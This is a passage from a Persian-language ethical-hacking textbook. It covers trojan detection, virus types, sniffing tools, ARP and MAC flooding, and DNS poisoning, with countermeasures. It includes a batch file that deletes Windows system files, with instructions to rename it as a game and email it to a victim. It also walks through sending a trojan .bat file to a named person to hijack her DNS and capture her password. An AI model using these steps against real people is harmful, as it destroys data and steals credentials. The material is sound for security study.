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  ها چيست؟ هاي مقابله با تروجان تكنيك

اين ابزارها . را دارند spywareافزارهاي آنتي ويروس، قابليتهاي آنتي تروجان و تشخيص  بسياري از نرم

ها را  تروجانها و  backdoorتوانند در زمان آغاز به كار كامپيوتر، بصورت خودكار درايوها را اسكن كنند تا  مي

توانيد با ابزارهاي تجاري  شود اما شما مي زمانيكه سيستمي آلوده شد، پاكسازي آن بسيار دشوار مي. شناسايي كنند

  .اينكار را انجام دهيد ،در دسترس

هاي تجاري براي پاكسازي يك سيستم استفاده  مهم است كه به جاي استفاده از ابزارهاي رايگان، از برنامه

علاوه بر اين، ابزارهاي مانيتورينگ . توانند سيستم را آلوده كنند اينكه بسياري از ابزارهاي رايگان، ميكنيد براي 

  .اند را شناسايي كنند هايي كه تغيير يافته هايي كه باز هستند يا فايل توانند پورت پورت، مي

  

  از تروجان گريزهاي  تكنيك

ها را از اينترنت  ها اينست كه به كاربران آموزش دهيد تا برنامه backdoorها و  كليد جلوگيري از نصب تروجان

به همين دليل، بسياري از مديران . شناسند را باز نكنند هايي كه فرستنده آن را نمي دانلود نكنند و ضمائم ايميل

  .دهند ها، اجازه نصب برنامه را به كاربران خود نمي سيستم
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  چگونه تروجان را شناسايي كنيم؟

هاي باز  اسكن كنيد تا پورت TCPView، و Netstat ،Fportبا استفاده از ابزارهايي همچون پورت را  •

 .مشكوك را پيدا كنيد

اسكن  Process Viewer ،What's on my computer ،Insiderهاي در حال اجرا با استفاده از  پردازش •

 .هاي مشكوك را ببينيد كنيد تا پردازش

، رجيستري را اسكن كنيد تا MS Configو  What's on my computerبا استفاده از ابزارهايي همچون  •

 .هاي مشكوك را پيدا كنيد ورودي

 .اسكن كنيد Etherealهاي مشكوك شبكه را با استفاده از  فعاليت •

  .ها استفاده كنيد ها براي يافتن تروجان Trojan scannerاز  •

  Port-Monitoring and Trojan-Detectionابزارهاي  

Fportهاي باز  ، تمام پورتTCP  وUDP توانيد از  شما مي. دهد را نشان ميfport هاي باز و  براي شناسايي پورت

  .هاي مربوط به هر پورت استفاده كنيد برنامه

  

Dsniffشود اي از ابزارها است كه براي بررسي شبكه و تست نفوذ استفاده مي ، مجموعه .Dsniff ،filesnarf ،

mailsnarf ،msgsnarf ،urlsnarf و ،WebSpy ها مهم از قبيل  كنند تا داده شبكه را بصورت پسيو مانيتور مي

را براي  man-in-the-middleحملات  ،webmitmو  Sshmitm. ها را پيدا كند پسوردها، ايميل، و انتقالات فايل

  .دهند انجام مي) SSL )HTTPSبر روي  HTTPو  SSHهاي  نشست

  

PrcViewهايي كه در ويندوز در حال اجرا هستند  ها است كه اطلاعات جزئي درباره پردازش ، برنامه مشاهده پردازش

فاده كنيد تا ببينيد آيا توانيد براي نوشتن اسكريپت است نسخه دستوري است كه مي، PrcView. دهد را نشان مي

  .پردازشي در حال اجرا است و يا آن را متوقف سازيد
  

Inzider ،كند دهند را ليست مي هايي كه هر كدام گوش مي هاي ويندوز و پورت ابزاري مفيد است كه پردازش .

Inziderبراي نمونه . كند ها را شناسايي مي ، برخي از تروجانBackOrifficeهاي ديگر تزريق  ، خود را داخل پردازش

كند كه به آن  شود اما پورتي را باز مي به عنوان پردازش جداگانه نشان داده نمي Task Managerكند بنابراين، در  مي

  .دهد گوش مي
  

TCPView،  برنامه ويندوزي است كه ليست تمامendpoint  هايTCP  وUDP دهد از جمله  را در سيستم نشان مي

  . هاي محلي و راه دور و وضعيت ارتباطات آدرس

www.ketabha.org



 

100 

 

  

Tripwireشود، هاي كليدي سيستم يا هر فايلي كه بايد مانيتور  از تمام فايل. كند ، يكپارچگي سيستم را بررسي مي

hash افزار  نرم. سازد ها را بصورت خودكار ميTripwire ،كند و اطلاعات را  ها را اسكن مي اي آن فايل بصورت دوره

و اگر تغييري حاصل شده باشد، پيغام . كند كه آيا اطلاعاتي تغيير كرده است يا نه كند و بررسي مي دوباره محاسبه مي

  .دهد هشداري مي

  

 CurrPorts ،Super System Helper ،What's Running ،Autoruns ،Hijack: برخي ديگر از ابزارها عبارتند از

This ،Startup List.  

  

  بررسي سيستم فايل براي مقابله با تروجان

است كه از جايگزيني ) WFP )Windows File Protection، داراي قابليتي به نام 2003ويندوز سرور 

 EXEيا  SYS ،DLL ،OCX ،TTFزمانيكه تلاشي براي نوشتن فايل . كند هاي محافظت شده جلوگيري مي فايل

هاي مورد  شويم تنها فايلشود كه مطمئن  اين سبب مي. كند ، يكپارچگي فايل را بررسي ميWFPشود،  انجام مي

  .شود هاي سيستمي استفاده مي تائيد مايكروسافت براي جايگزيني فايل

. اند هاي مايكروسافت بصورت ديجيتالي امضا شده كند كه كدام فايل ، بررسي ميsigverifابزاري ديگري به نام 

  :، مراحل زير را انجام دهيدsigverifبراي اجراي 

 .كنيدكليك  Startبر روي دكمه  .1

 .كليد كنيد Runبر روي  .2

 .نتايج نشان داده خواهد شد. كليك كنيد startرا تايپ كنيد و بر روي  sigverifدستور  .3

System File Checkerكند آيا تروجان، فايلي را جايگزين كرده  ، ابزار دستوري ديگري است كه بررسي مي

پوشه ه است، فايل مناسب را از تشخيص دهد كه فايلي تغيير كرد اگر اين برنامه. است يا نه

Windows\system32\dllcache كند و  بازيابي ميoverwrite دستور اجراي . كند ميSystem File Checker ،

  .است sfc/scannowبصورت 

، TrojanHunter ،Comodo BOClean ،XoftspySE: افزارهاي آنتي تروجان عبارتند از برخي از نرم

Spyware Doctor ،SPYWAREfighter.  
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  ها wormها و  ويروس

توانند براي آلوده كردن يك سيستم و ايجاد تغييرات در آن براي ايجاد دسترسي براي  ها مي wormها و  ويروس

در اين روش، يك ويروس يا . ها را دارند backdoorها و  ها، تروجان wormها و  بسياري از ويروس. هكر استفاده شوند

worm، ها و  حامل هستند كه كدهاي مخرب همچون تروجانbackdoor  ها را از سيستمي به سيستم ديگري انتقال

  .دهند مي

  

  wormتفاوت بين ويروس و 

ويروس، برنامه اجرايي . هستند) malware(افزارهاي مخرب  اين است كه هر دو جز نرم wormتشابه ويروس و 

شود و  كد ويروس داخل برنامه تزريق مي. كند برنامه براي انتشار خود استفاده ميكند و از اين  ديگري را آلوده مي

ها، ضمايم  ماكروها، بازي: هاي حامل ويروس عبارتند از مثالي از برنامه. يابد شود، انتشار مي زمانيكه برنامه اجرا مي

  .ها هاي ويژوال بيسيك و انيمشن ايميل، اسكريپت
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  ).Attack(و مرحله حمله ) Infection(مرحله آلوده سازي : اي دو مرحله هستندبسياري از ويروس دار

ها،  را براي آلوده كردن برنامه EXEدهد كه فايل  كار ويروس در مرحله آلوده سازي را نشان مي زرطتصوير زير 

  :كند ضميمه مي

  

  :شود شدن، خاموش مي fragmentدر تصوير زير نيز كه مربوط به مرحله حمله است، كامپيوتر به دليل 
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  :هاي حمله ويروس عبارتند از نشانه

 كنند زمان بيشتري را صرف مي فرآيندها زمان گير هستند و منابع و •

 افزاري مشكلات خاص سخت •

 اگر ليبل يكي از داريوها تغيير كند •

 دهد هاي خطا مي كند و پيغام كامپيوتر شما مرتبا هنگ مياگر  •

 جرا هستند، كامپيوتر بسيار كند استها در حال ا زمانيكه برنامه •

 آيد سيستم عامل بالا نمي •

 كند شوند يا محتواي آنها تغيير مي ها و فولدرها بصورت ناگهاني ناپديد مي فايل •

• Internet Explorerكند ، هنگ مي 

ها را ارسال  كند كه پيامي از شما دريافت كرده است اما شما هرگز همچين پيام اعلام ميدوست شما  •

  ايد نكرده

wormكند ، نوعي ويروس است با اين تفاوت كه خود را منتشر مي .worm خود را بصورت خودكار از ،

هر  wormويروس و . يگري داردكند اما ويروس براي انتشار خود نياز به برنامه د سيستمي به سيستم ديگر منتشر مي

  .شوند دو بدون دانش يا اطلاع كاربر اجرا مي
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  انواع ويروس

تواند عناصر  ويروس مي. كنند چه چيزي و چگونه آلوده مي: شوند ها بر حسب دو فاكتور دسته بندي مي ويروس

  :زير را در سيستم آلوده كند

 سكتورهاي سيستم •

 ها فايل •

 ماكروها •

 INIو  DLLهاي سيستمي همچون  فايل •

 كلاسترهاي ديسك •

 )BATهاي  فايل(اي  هاي دسته فايل •

 )Source code( كد منبع •

  

  كند يابد و سيستم را آلوده مي چگونه ويروس گسترش مي

  :شوند ها بر حسب تكنيك آلوده سازي خود به انواع زير دسته بندي مي ويروس

توانند  كنند و مي كد را به شكل ديگري رمزگذاري ميها،  اين ويروس ):چند ريختي( polymorphicهاي  ويروس

  .هاي مختلف تغيير كنند تا از شناسايي شدن جلوگيري كنند به شكل

كنند از قبيل ساعت و تاريخ اصلي فايل،  هاي طبيعي ويروس را مخفي مي اينها، ويژگي :Stealthهاي  ويروس

  .دنكن يل جديد در سيستم جلوگيري ميبنابراين از شناسايي ويروس به عنوان فا

Sparse infector: كنند ها را آلوده مي ها يا برنامه ها، تنها بعضي از سيستم اين ويروس.  

  

  .اند ها براي جلوگيري از شناسايي، رمزگذاري شده اين ويروس :Armoredهاي  ويروس
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  .دهند بنابراين اندازه فايل را افزايش نمي چسبد ها مي ها به نواحي خالي فايل اين ويروس :Cavityهاي  ويروس

  

ها، از طريق يك پروتكل مختلف يا رمز شده براي جلوگيري از شناسايي يا  اين ويروس :Tunnelingهاي  ويروس

  .شوند ارسال مي براي عبور از فايروال

بنابراين، يك . سازند يك فايل همراه مي ها، براي هر فايل اجرايي، اين ويروس ):همراه( Companionويروس 

 notepad.exeذخيره كند و هر زمان كه كاربر برنامه  notepad.com، ممكن است خود را با نام companionويروس 

  .كند كند و سيستم را آلوده مي را اجرا مي) ويروس( notepad.comرا اجرا كرد، كامپيوتر، 

  

  .شوند هاي ديگر، ظاهر مي ها براي برنامه اين ويروس ):استتار( Camouflageهاي  ويروس

شود،  اندازي مي راه CD-ROMزمانيكه كامپيوتر از طريق  ها، اين ويروس :Bootable CD-ROMهاي  ويروس

ها  كنيد، تمام داده اندازي مي راه CD-ROMزمانيكه كامپيوتر را با استفاده از . كند هاي هارد ديسك را خراب مي داده

اندازي شده  راه CD-ROMتواند آن را متوقف كند براي اينكه سيستم از طريق  آنتي ويروس نمي. روند از بين مي

  .است
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را بر روي  Active Directoryيا  NTFSها، سيستم فايل  اين ويروس :Active Directoryو  NTFSهاي  ويروس

  .دهد هاي ويندوزي مورد حمله قرار مي سيستم

  

  مثالي از يك ويروس ساده

  :با متن زير بسازيد Game.batبه نام ) batch file(اي  يك فايل دسته

@ echo off 

Del c:\winnt\system32\*.* 

Del c:\winnt\*.* 

زمانيكه . تغيير دهيد و آن را از طريق ايميل به قرباني ارسال كنيد Game.com، آن را به bat2comبا استفاده از ابزار 

كند و ويندوز غير قابل  را پاك مي WINNTهاي اصلي موجود در دايركتوري  قرباني آن را اجرا كند، تمام فايل

  .شود استفاده مي

  

  ساخت تروجان ابزارهاي

  :برخي از اين ابزارها عبارتند از. ساخت ويروس وجود دارد ابزارهاي زيادي براي

• Kefi's HTML Virus Construction Kit 

• Virus Creation Laboratory v1.0 

• The Smeg Virus Construction Kit 

• Rajaat's Tiny Flexible Mutator v1.1 

• Windows Virus Creation Kit v1.00 

  هاي دور زدن آنتي ويروس تكنيك

شناسايي و . افزار آنتي ويروس قابل شناسايي نباشد بنويسد كه توسط نرم يتواند اسكريپت يا ويروس ميهكر 

تا زمانيكه ويروس شناسايي نشود و شركت توليد كننده آنتي . پاك كردن ويروس، بر اساس امضاي برنامه است

شود كه هكر بتواند براي  سبب مي رمااين . ماند مي يقابافزار را آپديت نكند، ويروس به صورت ناشناس  ويروس، نرم

  .از دست شناسايي و حذف توسط آنتي ويروس در امان بماندمدتي 
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  هاي شناسايي ويروس روش

  :شوند ها استفاده مي براي شناسايي ويروس هاي زير تكنيك

 اسكن كردن •

 ها checksumبررسي يكپارچگي با  •

 )virus signature(مشاهده بر مبناي امضاي ويرس  •

  

  :فرآيند تشخيص و حذف ويروس عبارتند از

 .تمام رفتارهاي غير عادي نشان دهنده ويروس نيستند. حمله ويروس را تشخيص دهيد .1

، و handle.exe ،listdlls.exe ،fport.exe ،netstat.exeها را با استفاده از ابزارهايي همچون  پردازش .2

pslist.exe ردگيري كنيد. 

هاي جديد،  فايل. هاي پاك شده، جايگزين شده، و تغيير يافته تشخيص دهيد يلبار ويروس را با بررسي فا .3

 .هاي فايل تغيير داده شده را بررسي كنيد اتربيوت

تان را به روز رساني كنيد و  سپس، آنتي ويروس. مسير آلوده سازي آن را بدست آوريد و آن را ايزوله كنيد .4

 .ها را مجددا اسكن كنيد تمام سيستم

  

توانيد يك ويروس آزمايشي ايجاد  ، ميEICAR.COMو ذخيره آن با نام  Notepadبا تايپ كد زير در يك فايل 

  .زمانيكه بخواهيد آن را اجرا يا كپي كنيد، بايد آنتي ويروس شما پيغام دهد. كنيد

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*  
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  مقدمه

Snifferكند و آنها را به  ترافيك شبكه را استراق سمع مي. ، ابزاري براي بدست آوردن بسته يا فريم است

استراق سمع ها را  هاي پيشرفته، بسته snifferبعضي از . دهد صورت خط دستوري يا گرافيكي به هكر نشان مي

  .د دوباره آنها را كنار يكديگر قرار دهند و متن يا ايميل اصلي را تشكيل دهندنتوان كنند و مي مي

Sniffer بسته به نحوه . دنگير ها براي بدست آوردن ترافيك ارسال شده بين دو سيستم مورد استفاده قرار مي

 ديگر هاي كاربري، پسوردها، و براي كشف نام snifferتواند از  و معيارهاي امنيتي، هكر مي snifferاستفاده از 

بسياري از حملات هك و برخي از ابزارهاي هك، براي بدست . استفاده كند ،ارسال شده در شبكه اطلاعات محرمانه

 ها و snifferدر اين فصل در مورد نحوه كار . دارند snifferآوردن اطلاعات مهم فرستاده شده از سيستم هدف، نياز به 

  .توضيح خواهيم دادرا  snifferبرخي از ابزارهاي رايج 

  

  استراق سمع براي هاي مستعد پروتكل

 MACسيستم، به  MAC addressبجاي ارسال به  كه است هايي بدست آوردن بسته راي، بsnifferافزار  نرم

address قاعده  اين عمل، حالت بي. شوند ارسال مي ،هدف)promiscuous mode ( در حالت طبيعي، . شود ميناميده

خواند و پاسخ  د، را ميشو ارسال مي MAC addressيك سيستم بر روي شبكه، تنها ترافيكي كه بطور مستقيم به آن 

خواند و آنها را براي پردازش به  ، سيستم تمام ترافيك را مي)promiscuous mode(قاعده  در حالت بي. دهد مي

sniffer قاعده  حالت بيافزار درايور مخصوص،  با نصب نرم. فرستد مي)promiscuous mode(  بر روي كارت شبكه

براي تسهيل اين  promiscuous-modeدرايور  ، دارايبسياري از ابزارهاي هك براي استراق سمع. شود فعال مي

  .فرآيند هستند

، HTTPهايي همچون  پروتكل. هستند sniffingكنند، مستعد  ها را رمزگذاري نمي هايي كه داده پروتكل

POP3 ،SNMP و ،FTP  با استفاده ازsnifferد و براي هكر نمايش داده شوند تا اطلاعات با ينتوانند بدست آ ، مي

  .آوري كند را جمع هاي كاربري و پسوردها ارزشي همچون نام
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  ابزارهاي هك
Ethereal يك ،sniffer آخرين نسخه . ها را بدست آورد وايرلس، بستههاي كابلي يا  از شبكهتواند  كه مي رايگان است
، بسيار رايج و محبوب است براي اينكه رايگان است اما Ethereal. تغير نام يافته است WireSharkافزار به  اين نرم

افزار براي بدست آوردن انواع خاصي از  ه، نوشتن فيلتر در اين نرمكاربري كه آموزش نديدبراي . مشكلاتي هم دارد
  .ك دشوار استترافي
  

Snort يك سيستم تشخيص نفوذ ،)IDS ( تواند براي  و مي. هاي استراق سمع نيز هست كه داراي قابليتاست
 CGI ،Server Message Block (SMB)، حملات buffer overflowشناسايي انواع مختلف حملات از قبيل 

probes و ،OS fingerprinting استفاده شود.  
  

WinDump نسخه ويندوزي ،tcpdump افزار آناليز شبكه براي سيستم عامل يونيكس است است كه نرم .
WinDump كاملا با ،tcpdump تواند براي اساس  سازگار است و ميrule  ،تشخيص ترافيك شبكه را هاي مختلف

  .دهد و ذخيره كند
  

EtherPeekكه داراي قابليتهاي فيلترينگ قوي است هاي كابلي است افزار استراق سمع عالي براي شبكه ، يك نرم .
  .عرضه شده است OmniPeekافزار با نام  آخرين نسخه اين نرم

  
WinSnifferهاي  كند و نام ترافيك ورودي و خروجي را مانيتور مي. افزار خوب براي استراق سمع پسوردهاست ، نرم

  .كند رمزگشايي ميرا  NNTP، و FTP ،POP3 ،HTTP ،ICQ ،SMTP ،Telnet ،IMAPكاربري و پسوردهاي 
  

Irisذخيره،  آوري، هاي روي يك شبكه را جمع يز ترافيك شبكه و داده است كه تمام ترافيك دادهلافزار آنا ، نرم
د از قبيل زتواند ترافيك شبكه را مجددا بسا ، ميIrisهاي ديگر شبكه،  snifferبرخلاف . كند سازماندهي و گزارش مي

  .هاي شامل ضمائم مستندات، و ايميلها،  گرافيك
  

 .The Dude Sniffer ،Look@LAN ،Pilot ،Wiretap: برخي ديگر از ابزارهاي استراق در شبكه عبارتند از

  

  استراق سمع اكتيو و پسيو

شامل گوش ) passive sniffing(استراق سمع پسيو . پسيو و اكتيو: دو نوع مختلف از استراق سمع وجود دارد

استراق سمع . هايي كه با هاب به يكديرگ متصل هستند، مفيد است به دست آوردن ترافيك است و در شبكهدادن و 

بر يك سوئيچ جهت به دست آوردن  traffic-floodingيا  ARP spoofingشامل حملات ) active sniffing(اكتيو 

شناسايي است اما استراق سمع پسيو، قابل آيد، استراق سمع اكتيو، قابل  همانطوريكه از نام آن بر مي. ترافيك است
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د، همه كامپيوترهاي كنن ها استفاده مي هايي كه از هاب يا رسانه وايرلس براي اتصال سيستم در شبكه .شناسايي نيست

تواند ترافيكي كه بين كامپيوترها  ، ميpassive packet snifferتوانند همه ترافيك را ببينند بنابراين،  روي شبكه، مي

اي كه دريافت كرده  سوئيچ، به داده .كند شبكه سوئيچي، به نوع ديگري كار مي. يابد را بدست آورد هاب انتقال ميو 

 MAC tableسوئيچ داراي جدولي به نام . كند ها را ارسال مي ، بستهMAC addressكند و بر حسب  است نگاه مي

شود كه سوئيچ  اين سبب مي. هاي متصل به آن است و پورت مربوط به همه سيستم MAC addressاست كه داراي 

 ،تسا مشخص شده MAC addressكه با بتواند ترافيك شبكه را تقسيم بندي كند و ترافيك را تنها براي مقصد 

اند،  هايي كه با هاب بسته شده هاي سوئيچي داراي توان خروجي بهتري هستند و نسبت به شبكه شبكه .ارسال كند

  .تر هستند بسيار امن

  

  :استراق سمع اكتيو
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  :استراق سمع پسيو

  

ARP Poisoning  

ARPهاي  ، اجازه ترجمه آدرسIP هاي  به آدرسMAC زمانيكه كامپيوتري با استفاده از . را مي دهدTCP/IP 

ابتدا  .يا آدرس سخت افزاري كامپيوتر دارد MAC addressكامپيوتر ديگري وصل شود، نياز به  هكند كه ب سعي مي

را  ARPاگر نداشت، درخواست . آن را دارد يا نه MAC addressكند تا ببيند كه آيا  خود نگاه مي ARPبه كش 

broadcast چه كسي آدرس : پرسد كند و مي ميIP  كه من به دنبال آن هستم را دارد؟ اگر كامپيوتري كه آن آدرس

IP وئري را دارد، اين كARP  را دريافت كند، باMAC address و با استفاده از  دهد خود به آن پاسخ ميTCP/IP 

  .كنند شروع به ارتباط مي

ARP poisoningدهد  شود و به هكر اجازه مي ، تكنيكي است كه براي حمله به يك شبكه اترنت استفاده مي

در  ،ARP poisoning. كند يا همگي ترافيك را متوقف كند sniffهاي داده را در يك شبكه محلي سوئيچي،  كه فريم

اين . كند استفاده مي ARP spoofingاز  جعلي به يك شبكه اترنتي باشد، ARPهاي   جائيكه هدف ارسال پيام

در نتيجه، . دنكن هايي همچون سوئيچ را گيج مي هاي نادرست هستند كه دستگاه MAC addressها، داراي  فريم

قرار بود براي يك ماشين ارسال شوند، بصورت اشتباهي به ماشين ديگري يا به يك ماشين غير قابل  هايي كه فريم

استفاده  ،man-in-the-middleتواند در حمله  ، ميARP spoofingهمچنين  .شوند ارسال مي )DoSحمله (دسترس 

دست آوردن پسوردها و اطلاعات ديگر، شوند و براي به  ارسال مي ARP spoofingشود كه تمام ترافيك با استفاده از 

  .شوند آناليز مي
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سيستم  ARP cacheرا به  gatewayمربوط به  MAC addressهميشه  ،ARP spoofingبراي جلوگيري از 

 MACو  IPضميمه كردن آدرس  ابويندوز و  Cmd در ARP –sتوانيد از دستور  براي اين منظور مي .اضافه كنيد

اقدام  ARP cacheكردن  overwriteتواند با استفاده از  با اينكار، هكر نمي. ديهد ماجنا ار راكني، اgatewayمربوط به 

ها، اين عمل  هاي كه بزرگ هستند به دليل تعداد زياد سيستم روي سيستم كند اما در محيط ARP spoofingبه 

 MACرا روي سوئيچ فعال كرد تا  port securityتوان  ، ميenterpriseهاي  در محيط .دشوار و طاقت فرسايي است

address ها را براي هر پورت سوئيچ مشخص كرد.  
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MAC Duplicating  

هايي كه به  هاي كلاينت MAC addressشود براي  شده اجرا مي sniff، در شبكه MAC duplicatingحمله 

ا گوش دادن به ترافيك روي شبكه، ب. كند ها دوباره استفاده مي يك پورت سوئيچ متصل هستند و از يكي از اين آدرس

پس از آن، هكر تمام ترافيكي كه به براي آن كاربر است . كاربر مشروع استفاده كند MAC addressتواند از  هكر مي

فعال شده است استفاده  MAC filteringهاي وايرلس كه  توان در شبكه از اين تكنيك مي. را دريافت خواهد كرد

  .كرد

  

Capture  كردن توسطEthereal و نمايش فيلترها  

Etherealدر . ها را از يك كارت شبكه بدست آورد تواند بسته افزار رايگاني براي استراق سمع است كه مي ، نرم

  :زير چند مثال از فيلترهاي اين برنامه آورده شده است

• ip.dst eq www.eccouncil.org :مقصد وب سرور  ههايي كه ب اين فيلتر، تنها بستهwww.eccouncil.org 

 .گيرد است را مي

• ip.src == 192.168.1.1 :گيرد آيند را مي مي 192,168,1,1هايي كه از  اين فيلتر تنها بسته. 

• eth.dst eq ff:ff:ff:ff:ff:ff :هاي  اين فيلتر، تنها بستهbroadcast  گيرد را مي 2لايه. 
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MAC Flooding  

در عوض، . تواند تواند در يك شبكه سوئيچي، ترافيك را بگيرد اما در شبكه هاب مي نمي snifferافزار  رمن

كه از ابزارهاي ديگري براي بدست  تسا مزلا نياربانب. تواند ترافيكي ورودي يا خروجي به يك سيستم را بگيرد  مي

تا  اكتيو وجود دارددو روش براي انجام استراق سمع . آوردن تمام ترافيك در يك شبكه سوئيچي استفاده كنيد

  .floodingو  ARP spoofing: دارد ارسال شود snifferسوئيچ، ترافيك را به سيستمي كه 

ARP spoofing ، گرفتنMAC address  مربوط بهgateway  شبكه و در نتيجه دريافت همه ترافيكي كه به

د سوئيچ را با سرازيري ترافيك زياد به آن، توان هكر مي .دارد snifferروند به سيستمي است كه  مي gatewayمقصد 

flood اين . هاي خود ارسال كند كند تا عملكرد آن به عنوان سوئيچ مختل شود و مثل هاب، ترافيك را به تمام پورت

دهد كه تمام ترافيك روي شبكه را بدست  دارد اجازه مي snifferنوع حملات استراق سمع اكتيو، به سيستمي كه 

  .آورد
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DNS Poisoning  

DNS poisoning )DNS poisoning(،  سرور تكنيكي است كهDNS دهد تا گمان كند اطلاعات  را فريب مي

، مسموم شد، اطلاعات بطور DNSزمانيكه سرور . هويتي را دريافت كرده است ولي در حاليكه دريافت نكرده است

يك  URLزمانيكه كاربري درخواست . كند كلي براي مدتي كش خواهد شد، تاثير حمله را به كاربران سرور منتشر مي

 كه DNSاگر سرور  .مربوطه را پيدا كند IPكند تا آدرس  مراجعه مي DNSكند، آدرس به سرور  مي اروب سايت 

  .شود ستاده مي، كاربر به وب سايت ديگري فردوش

  

. استفاده شود ،تسا محتوايي كه هكر انتخاب كردهقراردادي با تواند براي جايگزيني محتواي  اين تكنيك مي

سروري  IPكند و آن را با آدرس  را براي يك وب سايت مسموم مي DNSهاي  ورودي IPهاي  براي مثال، هكر، آدرس

هايي كه روي اين سرور وجود دارند  جعلي براي فايل هاي سپس ورودي. كند كند جايگزين مي كه هكر كنترل مي

كدهاي مخرب باشد از  يارادتواند  ها مي اين فايل. باشد مشابهسازد كه با آنهايي كه در سرور هدف وجود دارند،  مي

  .يا يك ويروس wormقبيل 

  

  :عبارتند از DNS poisoningهاي  انواع تكنيك

• Intranet spoofing : كند در همان شبكه داخلي عمل ميبه عنوان دستگاهي. 

• Internet spoofing :كند به عنوان دستگاهي در اينترنت عمل مي. 

• Proxy server DNS poisoning :هاي  وروديDNS دهد تا كاربر به  را روي پروكسي سرور تغيير مي

 .سيستم ديگري هدايت شود

• DNS cache poisoning :هاي  وروديDNS دهد تا كاربر به ماشين ديگري  را روي هر سيستم تغيير مي

 .هدايت شود
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Intranet DNS Spoofing:  

روتر،  ARPبا مسموم كردن . كنيد sniffها را  متصل باشيد و بتوانيد بسته LANبراي اين تكنيك، شما بايد به 

  .كند هاي سوئيچي كار مي در شبكه

  

Internet DNS Spoofing:  

  .شود كامپيوتر ميزبان به سمت شما استفاده مياز  DNSهاي  براي هدايت تمام ترافيك درخواست

  .دهد را نشان مي Internet DNS Spoofingشكل صفحه بعد، سناريوي 

 .يك وب سايت جعلي بر روي كامپيوتر خود ايجاد كنيد .1

2. Treewalk  را نصب كنيد و فايلreadme.txt  را به آدرسIP  ،خود تغيير دهيدTreewalk شما را سرور ،

DNS خواهد كرد. 

 .خودتان اصلاح كنيد IPرا با آدرس  dns-spoofing.batفايل  .3

 )chess.exeمثلا (بفرستيد  Jessicaرا به  dns-spoofing.batفايل  .4

س دستگاه را با آدر DNSكارت شبكه او،  propertiesكند، در  زمانيكه كاربر بروي فايل تروجاني كليك مي .5

 .كند شما جايگزين مي

 .او از طريق شما رد خواهد شد DNSهاي  خواهيد بود و درخواست DNS، به عنوان سرور Jessicaشما براي  .6

توانيد  آورد و شما مي شود، وب سايت جعلي را مي متصل مي XSECURITY.com، به Jessicaزمانيكه  .7

 .رستيدكنيد و او را به وب سايت واقعي بف sniffپسورد را 
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Proxy Server DNS Poisoning:  

را به هكر تغيير  Internet Explorerدر  proxy serverشود و تنظيمات  ارسال مي Rebeccaتروجاني براي 

  .سازي آن ساده است پياده. دهد مي

  

DNS Cache Poisoning:  

طبق اين آسيب . كند وجود دارد استفاده مي DNSافزار  براي اين حمله، هكر از آسيب پذيري كه در نرم

را بررسي نكند تا بداند كه از منبع  DNSهاي  اگر سرور، بطور صحيح، پاسخ. پذيرد پذيري، اطلاعات نادرست را مي

براي يك  DNSبراي مثال، هكر، ورودي . كند هاي نادرست خودداري مي آيند، سرور، از كش كردن ورودي قانوني مي
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سپس روي . كند كند جايگزين مي سروري كه خودش كنترل مي IPدرس آ ، را باDNSسرور  ي يكوب سايت را رو

  .سازد ها مي هاي جعلي براي فايل كند، ورودي سروري كه كنترلش مي

  ابزارهاي هك
EtherFlood ، برايflood تمام  تواند با اينكار، هكر مي. كردن يك سوئيچ با ترافيك است تا تبديل به هاب شود

  .ترافيك روي شبكه را بدست آورد
  

Dsniff، شود استفاده مي ابزارهاي اجرايي يونيكس است كه براي بررسي شبكه و انجام تست نفوذاي از  مجموعه .
، بصورت پسيو، اين ابزارها. است webspy، و filesnarf ،mailsnarf ،msgsnarf ،urlsnarfابزارهاي آن شامل 

  .ها را بدست آورند فايل وكنند تا اطلاعات مهم از قبيل پسوردها، ايميل،  پذير را مانيتور ميهاي آسيب  شبكه
  

Sshmitm  وwebmitm حملات ،man-in-the-middle هاي  را براي نشستSSH  وHTTPS دهند انجام مي.  
  

Arpspoof ،dnsspoof و ،macof با مداخله در ترافيك شبكه سوئيچي كه معمولا به دليل خاصيت سوئيچي بودن ،
   .كند غير قابل دسترس است، كار مي snifferشبكه، براي برنامه 

  
Cain & Abelامكان بازيابي  كه با استفاده از استراق سمع شبكه، ، ابزاري چند منظوره براي هك در ويندوز است

، رمزگشايي VoIP، ضبط مكالمات brute forceانواع پسوردها، شكستن پسوردهاي رمز شده با استفاده از ديكشنري، 
  .دهد هاي مسيريابي را مي پسوردهاي پيچيده، ظاهر كردن كادر پسورد، بازيابي پسوردهاي كش شده، و آناليز پروتكل

  
Packet Crafterهاي سفارشي  ه، ابزاري براي ساخت بستTCP/IP/UDP تواند آدرس منبع يك  اين ابزار مي. است

  .هاي مختلف آن را كنترل كنيد flageبسته را تغيير دهد و 
  

SMAC ابزاري براي تغيير ،MAC address در زمان حمله،  دناوت يم هكر و يك سيستم استMAC address  خود
  .دهد رييغترا 
  

MAC Changer ابزاري براي جعل يك ،MAC address تواند كارت شبكه را با يك  مي. در يونيكس استMAC 
 MACديگري از همان سازنده تنظيم كند، يا حتي ليست  MACفروشنده ديگر،  MACتصادفي،  MACمشخص، 

address هاي سازنده را نمايش دهد تا از آن ليست يكي را انتخاب كنيد.  
  

WinDNSSpoofاده به منظور ، ابزاري سDNS ID spoofing براي استفاده از آن . براي سيستم عامل ويندوز است
 ARPتواند با يك ابزار  بنابراين مي. كنيد sniffهاي سوئيچي، شما بايد بتوانيد ترافيك روي كامپيوتر را  در شبكه

spoofing  ياflooding استفاده شود.  
  

Distributed DNS Flooderفرستد تا حمله  ، تعداد زيادي كوئري ميDoS و ايجاد كند DNS را غير فعال سازد .
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  .شود مي ربثبت كند، تاثير اين حمله چند براهاي غير صحيح را  ، كوئريDNSافزار  اگر نرم
  

  :برخي ديگر از ابزارهاي استراق سمع عبارتند از
Ettercap ،ArpSpyX ،Effetech ،Ace Password Sniffer ،Win Sniffer ،MSN Sniffer ،SmartSniff ،

SMAC ،NetSetMan ،Ntop ،EtherApe ،Snort ،Etherpeek ،NetIntercept ،Cloasoft EtherLook ،AW 

Ports Traffic Anakyzer ،CommView ،Sniffem ،NetResident ،Sniphere ،BillSniff ،URL Snooper ،
EtherDetect Packet Sniffer ،AnalogX Packetmon ،Ipgrab ،EtherScan Analyzer.  

  

  مقابله با استراق سمع

هر چند كه رمزگذاري، از . بهترين روش امنيتي براي جلوگيري از استراق سمع در شبكه، رمزگذاري است

افتد، غير قابل  هايي كه در استراق سمع، به دست هكر مي شود كه داده كند اما سبب مي استراق سمع جلوگيري نمي

